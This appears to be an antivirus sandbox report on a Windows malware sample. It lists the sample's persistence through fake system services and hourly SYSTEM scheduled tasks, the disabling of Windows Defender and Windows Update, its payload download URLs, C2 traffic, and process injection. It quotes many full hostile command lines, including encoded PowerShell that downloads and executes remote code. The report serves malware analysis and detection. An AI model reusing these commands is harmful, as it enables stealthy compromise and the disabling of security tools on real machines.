Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\microsoft\windows\shell\updshell
- <SYSTEM32>\tasks\microsoft\windows\autochk\systemproxy
- <SYSTEM32>\tasks\microsoft\windows\mobilepc\detectpc
- <SYSTEM32>\tasks\update shell
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\WinDefends] 'ImagePath' = 'cmd /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBD...
- [<HKLM>\System\CurrentControlSet\Services\thundersec] 'ImagePath' = 'cmd /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBD...
- [<HKLM>\System\CurrentControlSet\Services\WindowsNetworkSVC] 'ImagePath' = 'cmd /c powershell -w 1 -exec bypass -e aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAG...
Malicious functions
To bypass firewall, removes or modifies the following registry keys
- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'DisableNotifications' = '00000001'
- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DisableNotifications' = '00000001'
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Update
Downloads
- https://gist.githubusercontent.com/sslsecurityonline/f24b98d89d6b0c1ef7c3d24e788348de/raw/6e3cb9665c02065cc2487aa1d3228e2531636fd0/aa
- https://raw.githubusercontent.com/sslsecurityonline/thdr/master/thd
Injects code into
the following system processes:
- <SYSTEM32>\notepad.exe
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\cmd.exe
- %WINDIR%\explorer.exe
Network activity
TCP
HTTP POST requests
- http://hy###lan.xyz/ynvs2/index.php
UDP
- DNS ASK gi##.###hubusercontent.com
- DNS ASK google.com
- DNS ASK ra#.####ubusercontent.com
- DNS ASK hy###lan.xyz
- DNS ASK gi##ab.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAKAGMAbQBkACAALwBjACAAcgBlAGcAIABhAGQAZA...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /tn "Update Shell" /sc hourly /mo 1 /tr "powershell -w 1 -C IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($(Get-ItemProperty -Path H...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc start thundersec' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ec WwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAoA...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec bypass -e ZABvACAAewAkAHAAaQBuAGcAIAA9ACAAdABlAHMAdAAtAGMAbwBuAG4AZQBjAHQAaQBvAG4AIAAtAGMAbwBtAHAAIABnAG8AbwBnAGwAZQAuAGMAbwBtACAALQBjAG8AdQBuAHQAIAAxACAALQBRAHUAaQBlAHQAfQAgAHUAbgB0AGkAb...' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 -exec bypass -ec JABjAG8AbQAgAD0AIAAiAFUAdwBCAGwAQQBIAFEAQQBMAFEAQgBOAEEASABBAEEAVQBBAEIAeQBBAEcAVQBBAFoAZwBCAGwAQQBIAEkAQQBaAFEAQgB1AEEARwBNAEEAWgBRAEEAZwBBAEMAMABBAFIAQQBCAHAAQQBIAE0AQQB...
- '<SYSTEM32>\cmd.exe' /c SCHTASKS /tn \Microsoft\Windows\Autochk\SystemProxy /run
- '<SYSTEM32>\schtasks.exe' /tn \Microsoft\Windows\Autochk\SystemProxy /run
- '<SYSTEM32>\cmd.exe' /c sc delete WindowsNetworkSVC
- '<SYSTEM32>\sc.exe' delete WindowsNetworkSVC
- '<SYSTEM32>\cmd.exe' /c sc create WindowsNetworkSVC binpath= "cmd /c powershell -w 1 -exec bypass -e aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAb...
- '<SYSTEM32>\sc.exe' create WindowsNetworkSVC binpath= "cmd /c powershell -w 1 -exec bypass -e aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8...
- '<SYSTEM32>\schtasks.exe' /create /tn \Microsoft\Windows\MobilePC\DetectPC /tr "cmd /c sc start WindowsNetworkSVC" /sc hourly /mo 1 /RL HIGHEST /RU "NT AUTHORITY\SYSTEM" /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ec WwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAoA...
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /tn "Update Shell" /sc hourly /mo 1 /tr "powershell -w 1 -C IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($(Get-ItemProperty -Path H...
- '<SYSTEM32>\schtasks.exe' /create /f /tn "Update Shell" /sc hourly /mo 1 /tr "powershell -w 1 -C IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($(Get-ItemProperty -Path HKCU:\Softwar...
- '<SYSTEM32>\cmd.exe' /c sc start thundersec
- '<SYSTEM32>\sc.exe' start thundersec
- '<SYSTEM32>\cmd.exe' /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwA...
- '<SYSTEM32>\notepad.exe'
- '<SYSTEM32>\schtasks.exe' /create /tn \Microsoft\Windows\Autochk\SystemProxy /sc hourly /f /mo 1 /tr "cmd /c sc start thundersec" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn \Microsoft\Windows\MobilePC\DetectPC /tr "cmd /c sc start WindowsNetworkSVC" /sc hourly /mo 1 /RL HIGHEST /RU "NT AUTHORITY\SYSTEM" /f
- '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\Autochk\SystemProxy /sc hourly /f /mo 1 /tr "cmd /c sc start thundersec" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST
- '<SYSTEM32>\cmd.exe' /c sc delete WinDefends
- '<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c sc stop wuauserv
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\cmd.exe' /c sc config wuauserv start= disabled
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\sc.exe' delete WinDefends
- '<SYSTEM32>\cmd.exe' /c sc create thundersec binpath= "cmd /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8...
- '<SYSTEM32>\cmd.exe' /c sc create WinDefends binpath= "cmd /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8...
- '<SYSTEM32>\sc.exe' create WinDefends binpath= "cmd /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkA...
- '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\Shell\updshell /sc hourly /f /mo 8 /tr "cmd /c sc start WinDefends" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST
- '<SYSTEM32>\schtasks.exe' /create /tn \Microsoft\Windows\Shell\updshell /sc hourly /f /mo 8 /tr "cmd /c sc start WinDefends" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST
- '<SYSTEM32>\cmd.exe' /c sc delete thundersec
- '<SYSTEM32>\sc.exe' delete thundersec
- '<SYSTEM32>\sc.exe' create thundersec binpath= "cmd /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkA...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec bypass -e ZABvACAAewAkAHAAaQBuAGcAIAA9ACAAdABlAHMAdAAtAGMAbwBuAG4AZQBjAHQAaQBvAG4AIAAtAGMAbwBtAHAAIABnAG8AbwBnAGwAZQAuAGMAbwBtACAALQBjAG8AdQBuAHQAIAAxACAALQBRAHUAaQBlAHQAfQAgAHUAbgB0AGkAb...
